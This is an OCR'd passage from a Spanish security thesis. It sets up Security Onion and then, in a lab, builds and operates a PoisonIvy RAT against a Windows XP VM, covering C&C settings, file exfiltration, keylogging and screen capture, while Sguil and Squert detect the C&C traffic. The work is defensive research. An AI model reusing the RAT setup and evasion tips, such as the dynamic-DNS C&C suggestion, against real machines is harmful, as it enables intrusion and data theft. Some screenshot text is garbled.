°© RAM: 2GB.
2. “Insertar” la .iso de instalacion de la distribucién en el menda.
3. Configuracion de red de la maquina virtual:
Para esta maquina virtual necesitaremos dos interfaces, una de mantenimiento del
servidor (eth0) y otra de monitorizacion (eth1). Por ello tendremos que habilitar dos
adaptadores de red para esta maquina, siendo el primero una interfaces normal, y la
segunda una interface en modo promiscuo para poder captar los paquetes de la red.
A mayores, y para poder actualizar la distribucion, en un inicio se configurara la
primera de ellas como conectada a un adaptador puente, y asi tener conexién a
Internet.
4. Iniciar la maquina virtual para proceder a la instalacion del sistema operativo.
Instalar la distribucion Security Onion. Debido a que la instalacion no finaliza
correctamente al seleccionar como idioma de instalacion el Espariol, hay que

seleccionar como idioma de instalacién el Inglés.

Deteccién de APT con herramientas de seguridad de caracter libre 90



Master Universitario en Seguridad Informatica Luis Besteiro Calvo

6. Actualizacion del Sistema: Abriremos la consola de comandos e introduciremos y
ejecutaremos lo siguiente:  sudo soup
7. Instalacion de las GuestAdditions:
(1) Montar la iso.
(2) Abrir consola de comandos.
(3) cd /media/luisbc/VBOXADDITIONS_5.1.2_108956
(4) sudo ./VBoxLinuxAdditions.run
(5) reiniciar.
8. Configuracion de las interfaces
(1) Pulsamos en el icono "Setup" del escritorio.
(2) ethO -> management. — static — 192.168.99.18
(3) eth1 -> sniffing

(4) local domain name — tfmUNIR.com

(5) Reiniciar.
& Security Onion Setup tSecurItyDnion-TFM} + 0 X
/ We're about to do the following:

sv\ - Backup existing network configuration to /etc/network/interfaces.bak
- Configure the management interface ethO as follows:
Set static IP address of 192.168.99.18
Set the gateway IP address to 192.168.1.1
Set the network mask to 255.255.255.0
Set the DNS server(s) to 192.168.99.1
Set the DNS domain to tfmUNIR.com
- Configure the following interface(s) for sniffing:
ethl

We're about to make changes to your system!

Would you like to continue?

!. Mo, do not make changes. ‘ Q‘E Yes, make changes! ‘

Figura 43: Ventana de confirmacion de configuracion de las interfaces.

9. Configuracion del modo de funcionamiento
(1) Seleccionamos Producction Mode (ya que es el modo real/profesional).
(2) Seleccionamos Standalone (funciona como servidor y sensor a la vez).
(3) Seleccionamos BestPractices.

10. Usuario y Contrasena para Squil, Squerty ESLA.

11. Seleccionamos NIDS por defecto: Snort.

12. IDS ruleset: Emerging Threats Open.
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13. PF_RING min_num_slots -> por defecto, 4096.
14. Seleccionamos la interface de red que queremos monitorizar: eth1.
15. HOME_NET: Dejar por defecto, se refiere a redes tipo A, By C.

Security Onion Setup (SecurityOnion-TFM) 4+ 0O

/' We're about to do the following:
\v/' - Set the OS timezone to UTC.
- Delete any existing NSM data/configuration.
- Create a Sguil server named securityonion.
- Create a Sqguil user named luisbe.
- Monitor each of the following interfaces:
ethl
- Run a single IDS engine process per interface.
- Run & single Bro process per interface.
- Download Emerging Threats Open ruleset.
- Configure IDS HOME_MET as: 192.168.0.0/16,10.0.0.0/8,172.16.0.0/1:
- Configure ELSA as a Log Node and enable web interface.

We're about to make changes to your system!

Would you like to continue?

!) Mo, do not make changes! ‘ ’Qﬂ‘(es, proceed with the changes!

Figura 44:Ventana de confirmacion de configuracion.

Security Onion Setup (SecOnion}) 4+ 0 X

Security Onion Setup is now complete!

& Setup log can be found here:
fvar/log/nsm/sosetup.log

You may view IDS alerts using Sguil, Squert, or ELSA (if enabled).

Bro logs can be found in ELSA (if enabled) and the following location:
fnsmybro/

<ok

Figura 45: Finalizacion de la configuracion de Security Onion.

16. Configuracion Horaria:

©o Por defecto SecurityOnion y sus diversos componentes estan configurados en
zona horaria UTC/GMT, (https://qgithub.com/Security-Onion-Solutions/security-
onion/wiki/TimeZones).

o Squert

[. Click en "time interval" (INTERVAL). Click en flechas esquina superior
derecha tipo "forward".

[I. Deseleccionamos "UTC". Establecemos nuestra zona horaria (TZ OFFSET).
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lll. Guardamos pulsando sobre el botén "save TZ".

o ELSA: Por defecto coge la zona horaria del navegador, por lo que aparece de

manera correcta.

17. Ubicacién de las Reglas:

o Descargadas por Pulledpork:

/etc/nsm/rules/downloaded.rules
o Reglas locales:

letc/nsm/rules/local.rules
o Para que PulledPork modifique las reglas descargadas:
/etc/nsm/pulledpork/
o Las reglas se actualizan cada mafana, y pueden ser descargadas de:
sudo rule-update
o Los sensores se pueden modificar a través de los ficheros almacenados en:
letc/nsm/NAME-OF-SENSOR/

18. Archivos de Configuracion:
/var/log/nsm/sosetup.log
19. Revisar si los servicios estan funcionando correctamente:
(1) Miramos si estan los servicios funcionando correctamente:

sudo service nsm status
(2) Sino estuvieran los servicios activos, los iniciamos:

sudo service nsm start
(3) Si es necesario conectar OSSEC agents, dispositivos syslog, o VMs analistas, tendremos

que, debido a que el Firewall por defecto en el Setup inicial solo tiene abierto el puerto 22,

utilizar la utilidad "so-allow".
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4.2.Desarrollo de la prueba APT
A continuacién se procedera a iniciar las tres maquinas virtuales para proceder con el inicio
del piloto, siendo las distintas etapas de que consta las siguientes:
1. Simulacion de entorno de trabajo normal.
Analisis del ataque a realizar y el malware a utilizar.
Simulacion de entorno de trabajo con la maquina victima infectada.

Evaluacién de la prueba.

o~ b

Propuesta de mejoras.

4.2.1 Simulacién de entorno de trabajo normal
Esta etapa de la prueba consistira en simular un entorno normal de funcionamiento de la
magquina victima (Windows XP) para analizar la actividad de la red y poder establecer las

lineas base contra las que comparar posteriormente el andlisis del sistema infectado.

Por otro lado comentar que el periodo de captura de datos sera el suficiente para poder

captar el trafico estandar.
A continuaciéon se muestran capturas de pantalla de Sguil y Squert posteriores a la

instalacion y configuracion de Security Onion, estando las otras dos maquinas virtuales

también activas aunque sin proceso de ataque aun.:
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on 14.04.4.2 L ®

= F7'SGUIL-0.9.0 - Connecte... | [E [Terminal - luisbc@Sec... 09 sep, 08:21
- SGUIL-0.9.0 - Connected To localhost 4 - 3 X
File Query Reports Sound: Off ServerName: localhost UserName: luisbc UserID: 2 2016-09-09 08:21:02 GMT]

Reallime Events | Escalated Events|

DPort | Pr | Even -

7 SecurityO... 1.1 2016-09-09 08:08:50  0.0.0.0 0.0.0.0 [0SSEC] Integrity checksum changed again (2nd time).
60 SecurityO... 1.2 2016-09-09 08:09:02  0.0.0.0 0.0.0.0 [05SEC] Integrity checksum changed.
1 SecurityO... 1.10 2016-09-00 08:09:39  0.0.0.0 0.0.0.0 [OSSEC] New group added to the system
1 SecurityO... 137 2016-09-0908:16:12  0.0.0.0 0.0.0.0 [0SSEC] Received 0 packets in designated time interval (defined in ossec.conf). Please check interfa...

i
- — I~ Show Packet Data I~ Show Rule
1P Resolution W Agent Status W.Snnrtstatstu] System Msgs ] User Msgs W
[ Reverse DNS v Enable External DNS .
SrcIP: Source IP Dest IP Ver HL TOS len D Flags Offset. TTL ChkSum
SiElan \ \ I I \ | \ | \
DstIP: U AP R S F
Source  Dest R R R C S5 5 Y I
Dst Name: 3
Port Port 1.0 G K HT NN Seq# Ack # Offset Res Window Urp ChkSum
Whois Query: * None ( SrcIP  DstIP ‘ [ EEEEEEEE [ ‘ [ ‘
_1J Paylc ‘ " Hex « Text [ NoCase
) &P @ ] = @ [ @ 3] CTRLDERECHA
Fi 46: Monitorizacio diante Sguil de ent tid
Onion 14.04.4.2 - TF Calvo [Col e x
® T [SGUIL-0.9.0 - Connecte... & squert (69) - luisbc - Ch.... [Terminal - luisbc@Sec... 09 sep, 08:23
e squert (69) - luisbc - Chromium o g X
[ squert (69) - luisbc  x a
&« C | B b#&ps://localhost/squert/index.php Tr
EVENTS E ' & O ? Y | a -
INTERVAL: ~ 2016-09-09 00:00:00 -> 2016.09-09 23:59:59 (+00:00)  FILTEREDEBY OBJECT. NO  FILTEREDEY SENSOR: NO  PRIORITY: 000w
TOGGLE A | Quese SC  DC  ACTVITY  LASTEVENT  SIGNATURE D PROTO  %TOTAL
B m 71 1 " 08:18:09 [OSSEC] Integrity checksum changed. 550 0 86.957%
grouping
7 1 08:16:12 [OSSEC] Received 0 packets in designated time interval (defined in ossec.con). Please check interface, cabling, and tapispan! 111112 0 1.449%
SUMMARY ~
e s . - i 1 u 08:12:46 [OSSEC] Integrity checksum changed again (2nd time) 551 0 10.145%
oL cveni: = 8 1 1 08:09:39 [OSSEC] New group added to the system 5901 0 1.449%
tolal signatures 4
total sources
total destinations
COUNT BY PRIORITY A
nigh
medium
Tow
other 69 (1000%)
COUNT BY CLASSIFICATION A
® compromised L1
® compromised L2
comprom
B denial of service
® policy violation
reconnaissance
® malicious
o action reqd
WELCOME luisbe | UTC08:23558  _
B O &= i 3 @ & cTRDeRECHA

Figura 47: Monitorizacion mediante Squert de entorno no comprometido.
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4.2.2 Analisis del ataque a realizar

El tipo de ataque a realizar sera el de infectar la maquina objetivo (siendo en este piloto una
maquina virtual con Windows XP) con un archivo generado con PoisonlVY conocido como
“servidor”. Ya que el método de infeccion queda fuera de los objetivos de este TFM, dicha
infeccién se llevara a cabo generando el servidor en la maquina victima, en la cual también

dispondremos de la aplicacion PoisonlVY, para facilitar el proceso.

Una vez “infectada” la victima, se llevara a cabo una sesién remota desde el cliente
(atacante), mediante la cual llevaremos a cabo lo siguiente:

1. Busqueda de un archivo pdf.

2. Extraccioén de dicho archivo.

3. Analisis con el keylogger.

Una vez realizada la extraccién llevaremos a cabo el borrado del proceso de infeccion para

finalizar la comunicacion del servidor con el cliente.

4.2.3 Ataque
Para llevar a cabo el ataque con PoisonlVY seguiremos los siguientes pasos:
CONFIGURACION
1. Establecimiento de los parametros base:
En primer lugar es necesario establecer ciertos parametros que nos serviran tanto
para la configuracion del servidor como del cliente, y que tienen que ser los mismos
para ambos:

o Direccion IP del C&C (cliente), o dominio: Si bien podemos introducir una IP, para

un caso real de ataque seria mejor utilizar por ejemplo un dominio asociado a
una IP dinamica. Un ejemplo seria crear un dominio en el servicio online “NO-IP”

(http://www.noip.com).

o Puerto de escucha del C&C: El que trae por defecto la aplicacion, 3460, es

valido, pero no obstante, ya que es que que trae por defecto conllevara que sea
mas sencillo el ser detectados.

o Contrasefia: Esta sera la contrasefia a introducir en la configuracion tanto en
cliente como en servidor para evitar que sesiones ajenas o no deseadas puedan

conectarse a nuestro C&C.
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2. Creacion del servidor: Haciendo doble-click sobre el ejecutable de PoisonIVY

accedemos al framework.

Poison lvy

File Preferences ‘Wwindow Help

Figura 48: Ventana de inicio de Poisonlvy.

(1) A continuacion creamos el Servidor en la maquina victima: File — New Server.

Poison Ivy
SN Preferences  Window  Help
|ﬂ Mew Client
[i, Mew Server

*l Manage Plugins

@ Manage Motes

Figura 49: Menu de fichero.
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(2) Creamos un perfil:

Poison Ivy

Frofiles

B Lol il
Carnection
Create Profile
Prafile Mame:
Irstall
|Luis_Besteira_Calva_TFM_UINIR_2015 |
i ar. i [ Cancel J

Advanced

Figura 50: Creacion del perfil en Poisonlvy.

(3) Ajustes de configuracion:

Poison Ivy

Connection [Luis_Besteiro_Calvo_TFM_UNIR_2016]
-3

Profiles 192.162.99.4:3480.0,

:. DNS/Port
<
el d DMS

- | Part | Type | Pos.|
Connection

o 192.168.99.4 3460 1]

I

Advanced

Build

Stee lft: 240 (7o Comnections | [ 0K | [ Canes ]

o Cancel

Version 2,3.2  Mr, of Parks: O | M. of Plugins: 0 | r, of Connections; O

Figura 51: Ajustes de conexion del servidor Poisonlvy.
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Después de introducir los campos, pulsamos en “Next” en la esquina inferior

derecha y pasamos a configurar la instalacion.

(4) Ajustes de instalacion: en esta ventana procederemos a introducir los ajustes
que decidiran cémo se comportara el instalador:

Poison lvy

Install [Luis_Besteiro_Calvo_ TFM_UNIR_2016]
-3

Frafiles

PIRAT_TFi.exe
5
= {7BFES3F3-48D3-4BFE-F | =

Connection

& FIRAT_TFM.exe

Install

Advanced

0 Cancel

Wersion 2,3.2  Mr. of Parts: O I Mr. of Plugins: 0 | Mr. of Connections: O

Figura 52: Ajustes de instalacion del servidor Poisonlvy.
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(5) Ajustes avanzados:

Poison Ivy
Advanced [Luis_Besteiro_Calvo_ TFM_UNIR_2016]

&
Prafiles i

"

Connection

MERmaEgr. exe

&

Inztall

:

Advanced

Eiuild

€3 Cancel Ment =

‘Wersion 2.3.2 M, of Ports: 0 | Mr. of Plugins: 0 | M, of Connections: 0
Figura 53: Ajustes avanzados del servidor Poisonlvy.

(6) Compilacion del servidor:

Guardar como

Poison Ivy

[ N: A=dF

Build [Luis_Besteiro_Calvo_TFM_ Guardar en, |Ea Poisorly't_RAT

@ =
Profiles (St
EﬂP\ugins
Documentos (2 Profiles
" recientes *Poison Ivy2.32
Connection upy.exe %" @
Eseritario
Install ~a
iz documentos
= Saving Profile...
Collecting settings.
advancod Length of settings: 0400000150 |
Adding Auto Start code. ..
Adding Injection code... WiPC
@ Adding K.ey logger code...
Adding Copy file code...
Buid #dding Persistence code... 2
ﬁ Mombre: |LuisBC_TFM_UNIR @] | Guardar |
Mis sitios dered | Tipo: | Executables [".exe] L§| [ Cancelar ]

Figura 54: Compilacion del servidor.
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3. Creacion del cliente:
(1) Para crear el cliente abriremos en la maquina atacante (Windows 7) el archivo
Poisonlvy2.3.2 y seleccionamos en la ventana el menu:

File — New Client.

(File] Preferences  Window Help

(3 New Server

* Manage Plugins
g g
| i,¥ Manage Motes

Exit

Figura 55: Creacion de un nuevo cliente Poisonlvy.

(2) A continuacion configuramos el cliente con los datos decididos en el primer
apartado de “Establecimiento de los parametros base” y pulsamos sobre el botén
“Start” para comenzar a escuchar a la espera de que el servidor se ponga en

contacto con su C&C.

Wirkdowghielp

M0 A

Prompt for password on new connection

=i File P

| xxxxx | Hide Passward
Use Key File

I Start | [ Cancel

Figura 56: Configuracion del cliente Poisonlvy.
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- - p I —— — )
\_Ej] File Preferences Window Help BEE
[] Wi LM Con. Type  Computer Uszer Hame Ao, Type as CFU Rk Wersian
| I 3
Version 232 Nr. of Ports: 1 Mr. of Plugins: 0 Nr. of Connections: 0

Figura 57: Consola del cliente Poisonlvy.

INFECCION
1. Abrimos el archivo “servidor” generado en la maquina victima, siendo dicho archivo
introducido en un ataque APT via email, USB o de cualquier otra manera que pueda

introducir dicho fichero en la maquina objetivo.

O Akras O [_%5 p Busqueda FE_’“ Carpetas v

Direccidn |23 Ci\Documents and Settings'usuario|EscritoriolPoisonlyy_RAT b | Ir

e — —
l‘,j Plugins ' Prafiles
— . Poison Dvy
PILib.dI = COpciones de configuracidn
- 1KE

Tareas de archivo y carpeta

Iﬂ Cambiar nombre a este archivo
@ Mower este archivo
D Copiar este archivo

@ Fublicar este archivo en Wweb

@ Erviar este archivo por corren Paison Ivy 2.3.2 I';—:\’: Data
electranico Poison Iyy Remote Administra..,

¥¢ Eliminar este archivo

Oktros sitios o

@ Escritorio
Figura 58: Archivo ejecutable del servidor Poisonlvy.
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2. Esperamos a que aparezca en el cliente la sesion para dicho servidor.

3. Pulsamos sobre el icono de la sesion para comenzar la infiltracion en el sistema

victima.

* Poison vy - [Listening on Port: 3460 (Connections: 1)]
gﬂ File Preferences Window Help

Connections Stat\slicsl Settings

1] Wit LA Con. Type  Computer Usger Name Acc. Type as CPU Riakd “Wersii
Gb Luis_Besteirn_Calwo_TFM_LINIR_2016 192.168.93.5 192168935 Direct WM-HPAVICTIMA usuario Adrmin WirkP 2298 MHz B11.48MiB 231
4| 1 b

Version23.2 Nr. of Ports: 1 Mr. of Plugins: 0 Nr. of Cennections: 1

Figura 59: Inicio del control remoto.

4.2.4 Analisis de entorno de trabajo con la maquina victima
infectada

Mediante el software de monitorizacion y analisis de red llevamos a cabo la captura de los

datos de trafico en la red, para ver asi qué es lo que observamos en las distintas etapas de

la infeccion:

1. Monitorizacion de la la red tras realizarse la infeccion.

= [FTSEUIT050 Connecte” @ squert (73) - luisbc - Ch... [ [Terminal - luisbc@Sec... @B 09 sep, 08:47
SGUIL-0.9.0 - Connected To localhost

File Query Reports Sound: Off ServerName: localhost UserName: luisbc UserID: 2 2016-09-09 08:47:53 GMT|

RealTime Events | Escalated Events |

T Alert ID Date/Time Dst IP DPort | Pr | Event N g F
- 7 SecurityO... 11 2016-09-09 08:08:50 0.0.0.0 0.0.0.0 [OSSEC] Integrity checksum changed again (2nd time).
- 60 SecurityQ... 1.2 2016-09-09 08:09:02  0.0.0.0 0.0.0.0 [0SSEC] Integrity checksum changed.
- 1 SecurityO... 1.10 2016-09-09 08:09:39  0.0.0.0 0.0.0.0 [OSSEC] New group added to the system
- 1 SecurityO... 57 2016-09-0908:16:12  0.0.0.0 0.0.0.0 [0SSEC] Received 0 packets in desij d time i | (defined in ossec.conf). Please check interfa...
- 5 SecurityO... 34 2016-09-09 08:45:14  192.168.99.5 1032 192.168.99.4 3460 6 ET TROJAN Poisonlvy.E Keepalive to CnC

- o I Show Packet Data | Show Rule
1P newlutn} Agent Status ]Snnstam System Msgs} User Msgs ]
[2016709 D? 08:20:58] Sgulld.VUSEr luisbc is monitering sensors: Source IP DestIP ver HL 105 len D Flags Offset T chksum
SecurityOnion-TFM-o0ssec Secuutyomon-TFM-etm
[2016-09-09 08:38:41] SecurityOnion-TFM-ethl: | ‘ [ ‘ ‘ ‘ [ ‘ [
/nsm/sensor_data/SecurityOnion-TFM-ethl 18% AR R ST
Source Dest R R R C S S Y I
Port Port 1 0 G K H T N N Seq # Ack # Offset Res Window Urp ChkSum

| " Hex @ Text [ NoCase

N e padetea
Figura 60: Captura con Sguil de conexion del servidor Poisonlvy con el C&C.
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R security Onion 140

o a  Ver N

B [ SGUIL-0.9.0 - Connecte... [ SqUert (73) 1UiSBE= ALY (@] [Terminal - luisbc@Sec...

[ squert (73) - luisbc  x { [} ELSA
= (¢} ‘ [ beps://localhosys
| EVENTS ‘ SUMMARY

dex.php?id=c1902c732

(o)[o®w]| =[] 7]l la

INTERVAL:  2016-09-09 00:00:00 -> 2016-09.09 23:59:59 (+00:00)  FILTEREDBY OBJECT: NO  FILTERED BYSENSOR: NO  PRIORITY: QI eew )

TOGGLE A QUEUE sC oc ACTIVITY LASTEVENT SIGNATURE D PROTO  %TOTAL

queue only
I 1 1 08:46:06 ET TROJAN Poisonivy.E Keepaiive to CnC 2013337 6 4.167%

grouping

| 71 1 L 08:18:09 [OSSEC] Integrity checksum changed. 550 o 83.333%
SUMMARY A

e - 7t Al 1 08:16:12 [OSSEC] Received 0 packets in designated time interval {defined in assec.conf). Please check interface, cabling, and tap/span! 111112 0. 1.389%

total its 73
Seplaut 71 1 u 08:12:46 [OSSEC] Integrity checksum changed again (2nd fime). 551 o 9.722%
total signatures 5

total sources - 8 1 1 08:09:39 [OSSEC] New group added to the system 5901 0 1.389%

total destinations -

COUNT BY PRIORITY A ‘

high 3 (a.2%)
medium =
low -

other 69 (550
COUNT BY CLASSIFICATION A

@ compromised L1 -
® compromised L2 -
@ attempted access -
® denial of senice -
® policy violation -

reconnaissance -
8 malicious =

no action reqd. -

WELCOME luisbe | LOGOUT UTC 08:47:09

B © & @ 1= i@ { @ [ creDerecHA

Figura 61: Captura con Squert de conexion del servidor Poisonlvy con el C&C.

Security Onion 14 - TFM - Luis Besteiro Calvo [Corriendo] - Oracle VM VirtualBox = X
chivo Mquina Ver Entrada sitivos  Ayuda
= [ SGUIL-0.9.0 - Connects & SqUert (79) “IUisbc "ER. @ [Terminal - luisbc@Sec... 09 sep, 08:52
¥ squert (79) - luisbc - Chromium =
[} squert (79) - luisbc  x {3 ELSA la]
¢ = C @ baps/localhosts p 33cc3122241 Yt
| EVENTS, ‘ UMMARY VIE =1 r‘* BB Rd a *
INTERVAL: ~ 2016-09.09 00:00:00 -> 2016.09.09 23:59:59 (+00:00)  FILTEREDBY OBJECT. NO  FILTERED BYSENSOR: NO  PRIORITY.
OCRE 2 ‘- I 1 1 08:46:06 ET TROJAN Poisonivy.E Keepalive to CnC 2013337 6 4.167%
queue only |
alert tep SHOME_NET any -> SEXTERNAL_NET any (msg:"ET TROJAN Poisonivy.E Keepalive to CnC”; flow:established to_server; content:"|90 48 5¢ d5 ec 70 a2 8b 41 72 28 50 ec f6 d5 2al"; offset:16; depth:16; re
grouping terence:url comireport 14 et classtype:troj . $10:2013337, rev:d;)
SUMMARY A | 1l downloaded rules:12783
I = CATEGORIZE 0 EVENTS) WM CREATEFILTER: sic dst both
B 2 QUEUE  ACTIITY  LASTEVENT SOURCE COUNTRY DESTINATION COUNTRY
total signatures 5
total sources . - [ 2016-09-09 08:48:21 192168995 192.168.99.4
total destinations. -
[J ST TIMESTAMP EVENT ID SOURCE PORT  DESTINATION PORT  SIGNATURE
COUNT BY PRIORITY ~
| @ 2016.00.09 084821 36 192168995 1032 1921668.994 3460  ET TROJAN Poisonlvy.E Keepalive to CnC
high 3 w.2)
comments: None.
medium -
ow 5 ‘P VER IHL T0S LENGTH D FLAGS OFFSET m CHECKSUM PROTO
ot 3 e 2} 4 5 0 ] 75 2 ] 128 45818 6
T BT R TR o [ RI RO URG ACK PSH RST SYN FIN SEQH ACKE OFFSET RES WIN uRp CHECKSUM
- 3 o ¢ o 1 1 0o o o 3974277625 1822292902 5 [ 63086 [ 8627
compromised L1 -
HEX ASCH
(LAEs EO F5 3D C1 FO EA 15 DB 43 3E 65 F6 9B E2 14 BA
90 48 5C DS EC 76 A3 8B 41 72 28 50 EC F6 DS 24
denial T aerice AD F2 8C €9 05 E5 77 E8 E3 1E 76 D5 76 OA SE 08
@ poiicy violation -
-~ ASCIl cemeee O HN P AR(PLL LWy
reconnaissance -
WELCOME luisbe UTC 085219
™ 192.168.99...pcap ~ SHOW ALL X
() &% & (] M @ [ ) [¥] CTRLDERECHA

Figura 62: Detalles con Squert de conexién del servidor Poisonlvy con el C&C.
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Security Onion 14.04.4.2 - TFM - Luis Besteiro Calvo [Corriendo] - Oracle VM VirtualBox - x

Archivo  Méquina Ver Entrada  Dispo Ayuda

® [ SGUIL-0.9.0 - Connecte... [ capMEIZ Chromium " [E [Terminal - luisbc@Sec...

capME! - Chromium

>y
/ [ squert (77) - luisbe % )/ [ capME! X (D ELSA SN la)

< (e ||§| bepE://localhost/capme/index.php?&sip=192.168.99.5&spt=10326&dip=192.168.99 4&dpt=3460&stime=1473407301 &etime=1473414501&flename=squert ﬁ\

WELGOME lulsbe | LOGOUT

capME!
SrcIP /Port: | 192.168.99.5 1 1032
DstIP [Port: 192168994 1 3460
Start Time: | 1473407301 o
End Time: | 1473414501 (2]
Max Xscript
Bytes: 500000

Sid Source: (i sancp (s event (  elsa
Output: (@ auto () tepflow () bro () peap

Sending request..

1]

8050 EE D6 cmomecs

Figura 63: Procesado con capME! de conexion del servidor Poisonlvy con el C&C.

Security Onion 14.04.4.2 - TFM - Luis Besteiro Calvo [Corriende] - Oracle VM VirtualBox = X

@B 09sep, 08:51

Archivo Méquina Ver Entrada Dispositives  Ayuda

® | [ SGUIL-0.9.0 - Connecte... [ capMEIT Chromium " [ [Terminal - luisbc@Sec...

capME! - Chromium

3
/I squert (78) - luisbe  x ' [ capME! x ([ ELsa X (&)

= c I biesS://localhost/capme/index.php?&sip=192.168.99 5&spt=1032&dip=192.168.99 4&dpt=3460&stime=1473407301 &etime=14734145016&filename=squert ﬁ\

WELCOME luisbe | LOGOUT

DEBUG: Using archived data: i 09 ityOnion TFM-eth1/192.168.99.4:3460_192.168.99.5:1032-6 raw
QUERY: SELECT event.timestamp AS Slall time, s2.sid, s2.hostname FROM event LEFT JOIN sensor ON eventsid = Senso. sid LEFT JOIN sensor AS s2 ON sensor. net_nam
& = s2.net_name WHERE timestamp BETWEEN '2016-08-09 07.48:21" AND '2016-08-09 09:48:21' AND ({src_ip = INET_ATON(192.168.99.5) AND src_port = 1032 AND dst i
p=INET_ATON(192.168.89.4) AND dst_port = 3450 AND ip_proto=6) OR (src_ip = INET_ATON(192.168.99.4) AND sic_port = 3460 AND dst_ip = INET_ATON(192.168.99"
) AND dst_port = 1032 AND ip_proto=6}) AND s2.agent_type = 'pcap’ LIMIT 1

CAPME: Processed transcript in 43.14 seconds: 0.31 22.70 0.00 20.12 0.00

192.168.00.4:3460_192 168,00 5'1032-6-2077006390.pcap

Figura 64: Detalles con capME! de conexién del servidor Poisonlvy con el C&C..
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2. Llevar a cabo la infiltracion desde la maquina atacante

* Luis_Besteiro_Calve_TFM_UNIR_2016 [192.168.89.5] - Poison hvy

OIEEE & O% <20

elle =

Infarmatiol

[=] Managers
L_._I Files Marme Walue
“} Search
-[ab| Regedit
el Search
=) Processes
e Services
—JJ- Devices
- 3k, Installed Applications
] Windows
&7 Taols
58 Relay
¥ itive Ports
-l Femote Shell

> Surveillance
-] Fey Logger
% Audio Capture
|| Sereen Capture
-, Webcam Capture
ik Pluging
B Administration

&7 EditlD
- Share
"3, Update
d?g Restart
- 3% Uninstal

Downloac 0.00 B/s Upload 0.00B/s

Figura 65: Panel de Control del cliente de Poisonlvy.

3. Buscar un fichero.

* Luis_Besteiro_Calve_TFM_UNIR_2016 [192.168.99.5] - Poison by
@ Information Oty o# 2 u @

= E=R(F=0
File Search

=] Managers
.. L_._I Files File name: Narne

=i it [ CADocuments and 5 ettingshusuario\E scitorichinualBox-5.1.4-1102284win. exe
| Regedit ) .
b Search A ward in the file:

EJJ Procgsses
e ger\flces Searchin:
, Devices
- C:hDocuments and ! E]

-3k Installed Applications

-] Windows

’ﬁ‘ﬂols [ Include subdirectories
I \53 Felay FUZZP @

¥ Active Ports [ Case sensitive

-l Femote Shell

- 2 Pagaword Audit Stop

[ Cached

25 NT/NTLM Hashes
...... 2 ireless

o Surveilance

-] Key Logger

-l Audio Capture

|| Screen Capture

-, Webcam Caphure

2 Pluging

B Adrministiation

g Edit 1D

- Share

M& Update

42, Restart . N

Size Type
116.31 MiB EXE

Figura 66: Busqueda de archivo con el Panel de Control del cliente de Poisonlvy.
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4. Exfiltracion de un fichero de elevado tamaio
T

. Luis_Besteiro_Calvo_TFM_UMNIR_2016 [192.168.89.5] - Poison Ivy

I Infarmatian

%J Processes

w8 Services

-2 Devices

-1 3k Installed Applications

FEEEEE
File: name:

JERE

A word in the file:

Search in:
C:ADocuments and ! E]

File Search
Mame Size Type
CE C:\Documents and Settings ey 116.31 MiB  EXE
=4 | g Download
i Execute L4
|EAl Rename
| [0 Delete

| [/ Secure Delete

5%0|S PR [T Inchude subdirectories
-8 Relay #Fuzzy @

-a fctive Parts [7] Case sensitive

Figura 67: Exfiltracion de archivo con el Panel de Control del cliente de Poisonlvy.

E=N R~
@Uv| . ¢ PoisonlV » Users » VM-XP-VICTIMA”usuaric » Download - | 5 | | Search Download ye) |
Organize v Include in library + Share with = New folder = = [ I@I
S Favorites ; Mame : Date modified Type Size
BE Desktop |i| = P32 08,/09/2016 17:08 Adobe Acrobat D... 148 KB
& Downloads 'l? VirtualBox-5.1.4-110228-Win 09,/09/2016 11:20 Application 119104 KB
=l Recent Places
3 Libraries B
Figura 68: Archivo exfiltrado con Poisonlvy.
5. Hacer captacion de pulsacién de teclas. Keylogger.
W8 Luis_Besteire_Calve_TFM_UNIR_2016 [192.168.99.5] - Poison Iy =] 3 |2
Q Information ﬁ g =t J?, i Key Logger
[= Managers
----- | Files
-} Search [> Program Manager <] [2016/09/09 - 11:25]
ab| Regedit ARchivo_Prusba_Keylogger
- X [> ARchivo_Prueba_Kevlogger - Bloc de notas <] [2016/09/09 - 11:25]
""" 2 Sevices Hola Mundol[ENTRAR]
=, Devices Soy la m2GLD0ERETROCESO]AGLDO]Aquing w[AG LD O ictima [EMTRAR]
-5k Installed Applications Un zaludo.
] Windaows
7 _/’)‘ Toals
58 Relay
----- ¥ Active Ports
-l Remate Shell
Figura 69: Captacion de pulsaciones de teclado con Poisonlivy.
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@ Information
ﬁ Managers
..... D Files
3 Seach
~{ab]| Regedt
[0} Search
=), Processes
3 Gervices
..... 2 o
{2, Installed Applications
T Windaws

..... ¥ Active Pars
B Remote Shel
Passward Audit
Cached

g NTMTLM Hashes
Ll isless
Surveilance
"1 Key Logger
-l Audio Capture
@ LI
1 Wicbam Capt
3 Plugins
18] Administration
&7 EdtID
..... AP Share
2 Update
% Restart
..... 3 Urinstal

3

ure

Hola Munde!

Soy 1a maguina victima.
U’ saludo.

1 — |

<
Shietch ouse [ Keyboard
Interval 2500 |

r
Autozsave

Figura 70: Captura de pantalla con Poisonlivy.

5. Descargar el fichero de texto.

_TFM_UNIR_2016 [192.168.99.5] -

@ Irformation

File Search

C:ADocuments and ! [:]

125 Installed Applications

{7 Windows

f Took: Include subdirectaories
38 Felay wzy @

Case senzitive

ﬂ Active Ports
@l Remote Shel
,f/(? Passward Audit

Cached
g NT/NTLM Hashes
P wlireless
= Surveillance
) Kew Logger
a4 Audio Capture
-] Sereen Capture
= Webcam Capture
ﬂ- Pluging
gﬂ Adrministration
|| g EdtD
U Share
[l ‘.".. Update
‘2, Restart
3 Uninstal

[ Secure Delete

O % o2

Managers

D Files File name: Name Size Type Attrib. Madified

i Search bt = = % e 7
~Iab] Regedit Download

%_@?;e;mh & word i the file =

Execut »

g Frocesses S EERE

- Services Geerahi -1 Rename
Devices [ Delete

1 objects 48.00 B

Downloac 000E/s

Upload

0.00B/s

Figura 71: Descarga del fichero de texto creado por la victima.
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6. Descargar el fichero de texto comprimido.

W& Luis Besteiro Calvo TFM_UNIR_2016 [192.168.99.5] - Poison vy

@ Infarmation | g =% d?g i &

= Managers .

= D Files File name: MHame
£k Search 2ip

File Search
Size Type Attrib, Modified

Lword in the file: | | ¢ Download

B Execute 4
o Search in: |EL Rename
evices : » = Delete
Installed Applications E:ADiocumsits and E] QUS i
1:] Windows . 3 !
Tooks [T Include subdirectories
: 58 Relay [ Fuzzy @
g Bitive Ports |7 Case sensitive
@ Remote Shell
i) Passwiord Audit
L_"‘, Cached
25 NT/NTLM Hashes
L ieless
) Surveilance
= Kep Logger
w4 Audio Capture
-] Screen Capture
w15l ‘webcam Capture
i Pluging
=i Administration
7 EdtID

L0 Servicss

. |ndat
= Update
=

w3 Uningtal

